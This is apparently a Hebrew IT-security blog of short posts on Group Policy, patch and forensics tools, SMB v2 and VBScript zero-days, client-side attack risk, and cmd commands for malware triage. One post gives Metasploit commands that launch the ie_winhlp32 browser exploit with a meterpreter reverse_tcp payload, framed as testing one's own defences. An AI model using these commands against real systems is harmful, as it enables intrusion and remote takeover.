How To Find the right GPO

כלי WEB מועיל לחיפוש הגדרות  Group Policy  - מחולק לפי נושאים ומכיל הסברים רחבים.-http://gps.cloudapp.net/
ניתן לפלטר לפי מערכות הפעלה או מוצרים נלוים ( OFFICE ETC)

גזור ושמור...

בדיקת virtual patch's - או כיצד מערכות האבטחה שלנו מתמודדות עם ZERO DAY

virtual patch's או זיהוי וחסימת התקפה לפני שיחרור הטלאי הרשמי ל ZERODAY הם הגנה מעולה בזמן הפגיע ביותר למחשבים , כלומר הזמן בו המתקיפים יכולים להשתמש בפגיעות וזיכויי ההצלחה הם  קרוב ל 100%.
אך האם הפרסומים שיוצאים איתם חברות אבטחה המידע נכונים?
ארגונים מעטים מסמלצים התקפות ובודקים את ההגנות לZERODAY ב א מ ת .
אני ממליץ לכל אנשי האבטחה להתקין BACKTRACK ולהשתמש ב METASPLOIT או כלים אחרים לביצוע התקפה אמיתית תוך כדי שימוש בקוד הזמין באינטרנט לבדיקת מערכות האבטחה שלהם.
אין כאן צורך ב PENTEST מעמיק  וזאת צריכה להיות עבודה שהיא חלק מהשוטף .חלק נכבד מההתקפות ניתן לסמלץ בשעה עבודה.
אני אישית כבר עליתי על אבטחת שווא כזאת מחברה שלא אזכיר את שמה ובעקבות זה שונתה החתימה .

לדוגמא
ה Z0RO DAY האחרון מבית מיקרוסופט  המאפשר הרצת קוד על המותקף ע"י פיתויו ללחוץ f1 דרך הודעה הכתובה ב
VB

Microsoft Security Advisory 981169

Vulnerability in VBScript Could Allow Remote Code Execution

Published: March 01, 2010

במקום לשבת ולחקות ל PATCH -נבדוק האם קוד הEXPLOIT זמין וננסה לבדוק את חסינות מערכות האבטחה שלנו מולו
החל מהגנות בגלישה , IPS,MAIL ועד לרמת ה AV המקומי.

הקוד זמין לבדיקה ב METASPLOIT
לאחר כל ההגדרות והעדכונים נעלה אתר ברשת המבצע את ה EXPLOIT ע"י הרצץ הפקודות הבאות

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/browser/ie_winhlp32
msf exploit(ie_winhlp32) > show payloads
msf exploit(ie_winhlp32) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_winhlp32) > set LHOST [MY IP ADDRESS]
msf exploit(ie_winhlp32) > exploit

אופציות המודול:

SRVHOST	The local host to listen on. (default: 0.0.0.0)
SRVPORT	The local port to listen on. (default: 8080)
SSL	Negotiate SSL for incoming connections
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
URIPATH	The URI to use for this exploit (default is random)
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
WORKSPACE	Specify the workspace for this module
HTML::base64	Enable HTML obfuscation via an embeded base64 html object (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape	Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode	Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked	Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression	Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding	Enable folding of HTTP headers
HTTP::junk_headers	Enable insertion of random junk HTTP headers
TCP::max_send_size	Maximum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)

בהצלחה

כלי command חינמי לביצוע עידכוני windows update

בשיטוטים האחרונים ברשת נתקלתי בכלי מעולה הנקרא- WuInstall1_1 מחברת xeox

הכלי כתוב ב C++ ומאפשר שימוש ב windows updateAPI לבדיקת עדכונים להם התחנה זקוקה

האפשרויות הם רבות וכוללות :

חיפוש בלבד

התקנה

התקנה+REBOOT

בנוסף קיימות אפשריויות לחיפוש עדכון מסויים או לפי סוג העדכון (SOFTWARE,DRIVERS וכדומה).

הכלי פונה לפי ההגדרות בתחנה ל WSUS או לשרתי WINDOWS UPDATE בהתאמה.

הגרסה בתשלום כוללת פיצ'רים נוספים

מעייו apt-get קטן לעידכוני חלונות.

ממליץ בחום לשילוב בסקיפטים .

להוריד מכאן

UserAssist - כלי נוסף וטוב ל FORENSIC WINDOWS

UserAssist

explorer שומר את רשימת התוכנות שהורצו על המחשב ב KEY - UserAssist ב REGISTRY

התוכנה יודעת לפענח את הנתונים ולהציגם בטבלה לפי סדר ההרצה או כל סדר אחר שנרצה.

לא פעם אחת נישאלתי במהלך עבודתי שאלה כמו :" האם אתה יכול להגיד לי מה העובד עשה על המחשב בתאריך X ?" - התוכנה הזאת היא עוד כלי עזר חשוב לנסיון מענה על שאלה כזאת .

להורדה:

http://blog.didierstevens.com/programs/userassist/

* התוכנה מחייבת dot net 2

* התוכנה מאפשרת קריאת קובץ REG מיובא ממחשב אחר.(COOL!)

ZER0 DAY SMB V2

FYI
פירצת אבטחת התגלת בפרוטוקול SMB V2 שפותח ע"י מיקרוסופט ומיושם ב VISTA ו SERVER 2008

לפי שעה אין PATCH המתקן את חור האבטחה .
מיקרוסופט מציעה לבטל את השימוש בפרוטוקול זה ואף מספקת כלי ( FIXIT) המבצע זאת אוטומטית .
ניתן לוהוריד את הכלי כאן:
http://blogs.technet.com/srd/archive/2009/09/18/update-on-the-smb-vulnerability.aspx

cve id:
CVE-2009-3103

FYI

CLIENT SIDE ATTACKS ותחנות הקצה בארגון.

client silde attacks

קראקרים ברחבי העולם הבינו מזמן כי הדרך אל האושר עוברת תמיד דרך החוליה החלשה בשרRשרת.

או אם תרצו: KEYLOGGER = 1000 RAINBOW TABELS .

במקום להשקיע שבועות בפענוח נקודות התורפה של FW החברה ,או איזה חור אזוטרי אחר,

פשוט יותר זה לשכנע את יוסי מהכספים ללחוץ על לינק תמים ומשם "הם" כבר יעשו בשבילו את העבודה.

כל זה כמו שאמרתי - חדשות ישנות ואכן חברות משקיעות היום יותר בהגנה על המשתמש הפשוט בחברה .

אבל.. עדיין ניצבות בפני מנהל הרשת בעיות ניהול רבות בתחום לדוגמה:

1. ניהול PATCHS MICROSOFT- תהליך אטיי ומתמשך , היכולת "ליישר קו" מוגבלת וכלי הניהול השונים WSUSE,BIGFIX וכו עושים עבודה בינונית לכל היותר,דרישות ל RESTART והתנגשות עם אפליקציות קיימות IN HOUSE ושאר ירקות. בקיצור,לא נעים לבצע ROLLBACK ל6000 תחנות . מנהל רשת הגיוני יתקין רק את החלק הקריטי של העדכונים במקרה הטוב ,יפסח על עדכוני ה OFFICE ועדכונים "שוליים" אחרים ( REBOOT לעדכון MEDIA PLAYR? השתגעתם?) . גם תהליך הטמעת עדכונים ב IMAGES חדשים של החברה מצריך סט בדיקות ועדכון חודשי -שוב תוצאות בינוניות וחלקיות לכל היותר.
2. עדכוני אפליקציות אחרות- כמה מנהלי רשת מעדכנים את שאר האפליקציות ההכרחיות כיום לגרסה האחרונה? ADOBE,WINZIP וכו -מעט מאד.
3. ניהול חתימות עדכניות לאנטי וירוס.- גם כאן קשה מאד לקבל מיקשה אחד ברחבי הארגון , תחנות ב OFFLINE ,ניידים המתחברים ב VPN פעם בעשור , בעיות רשתיות מול שרת הניהול המרכזי ,שדרוגים הפוגעים ב CLIENT ושורה ארוכה של EXELUDES .גם כאן יסתפק מנהל הרשת ההגיוני ב75% הצלחה.
4. חסימת התקנים ניידים - גם כאן יאלץ מנהל הרשת לפתוח חסימות לאנשי VIP בחברה,צוותים טכניים שונים ושאר מקורבים.
5. personnal filrewall? hips? - קשים מאד לניהול והטמעה ,מיצרים גילויים שגויים (FP) ומכבידים על התחנות ועל העבודה השוטפת של המשתמשים.מנהל הרשת ,גם אם יטמיע פיצ'רים אלה ,תהיה זו ברוב המקרים הטמעה במינימום הקשחה.
6. הקשחת ססמאות,חינוך משתמשים ,הגנה פיזית,הצפנות וכו - גם כאן קיים שיפור כמובן אך הדרך עוד ארוכה.

כמו שאנו רואים - תחום הגנת תחנות הקצה אמנם השתפר אך עדיין ללא ספק לוקה בחסר .התקפות דרך תחנות הקצה בחברה יניבו פירות יפים ובאחוזים גבוהים .

בכל בדיקת חדירות , אני ממליץ לשלב גם client side attacks .

בפוסט הבא אני ידבר על metasploit 3.3 dev והשיפורים ביכולות לבצע התקפות מסוג זה דרכה.

חקירת המצאות רוגלות במערכת באמצעות פקודות cmd פשוטות

קראתי מאמר של אד סקודיס (san instatute) המדבר על העובדה שחלק גדול מחקירת מחשבים החשודים כנגועים ב mallwares ניתנת לביצוע ע"י שימוש בפקודות built in במערכת ההפעלה.
מניסיוני כאיש אבטחת מידע בארגון גדול , אני נדרש לעתים תכופות לבדוק מחשבים החשודים כ"נגועים" ,ולעתים בזמן בדיקה זו אין ברשותי גישה לכילים מקצועיים וכלי GUI למיניהם. המאמר נותן הסברים לכל פקודה אך אני אחסוך את זה מימני ומימכם (אנחנו כבר מכירים את משמעות הפקודות...)
אז ברוח הOLD SCHOOL להלן מספר פקודות לזיהוי מהיר של יתכנות רוגלות במערכת.

netstat –ano

קבלת מידע על מערך התקשורת TCP UDP +PID בנוסף, החל מ 2SP ניתן להשתמש ב b- המאפשר הצגת התכניות (EXE) המתקשרות על כל פורט בהתאמה .ניתן לזהות במהירות תקשורת על פורטים לא סטנדרטיים +חיפוש הפורט ב GOOGLE , אני ממליץ על חיפוש בסיגנון: insite:mcafee.com port 4444

טבלהזו מציינת פורטים סטנדרטיים של שירותי מערכת -חשוב לדעת למניעת fals positive

*

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Runonce

reg query HKCU\Software\Microsoft\Windows\CurrentVersionRun

מקומות נפוצים ב REGISTRY להמצאות רוגלות - ניתן להסיר את הרשומות החשודות ( לא לשכוח לגבות לפני:))

*

dir /A "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"

ישנם רוגלות הממקמות קבצים בספריה ידועה ונשכחת זו ...

*

'tasklist /svc'

מאפשרת צפיה בתהליכים ובתת תהליכים הרצים במערכת .

*

net users

net localgroup administrators

הצגת משתמשי המערכת - ישנם רוגלות ובוטים (BOTS) המוסיפים משתמשי מערכת - רצוי לבדוק זאת .

wmic startup list full

פקודה שהיתה חדשה לי עד לא מזמן ,מאפשרת קבלת נתונים מפורטים על כל התוכניות והתהליכים העולים ב startup . שימושי ביותר!

עד כאן.

לגבי פקודת WMIC - אני אפרט בפוסט נפרד

אני יותר שהזכרתי כאן נישכחות לחלק מהאנשים ,אך האמינו לי - הפקודות האלה שימושית ביותר .

CIS Next Generation Scoring Tool for security

a free security benchmark tools is being offered by the center of Internet security
this tools are used by the national homeland security in the US.

it provides benchmarking for:
windows 2003,xp,200
linux suse,radhat
applications: exchange2003 ,IIS,MS SQL2000,2005
new!
benchmark for vmware stations!

check it out


"CIS Scoring Tools enable end users to compare the configuration of their operating systems, applications and network devices with the technical control recommendations in the CIS Benchmarks. The Tools verify the security configuration of systems prior to network deployment, monitor systems and network devices for ongoing conformity with the benchmarks, and demonstrate to auditors and business partners their compliance with the internationally accepted standard for security configuration. The Tools are host-based and produce reports that guide users in securing installations and production systems"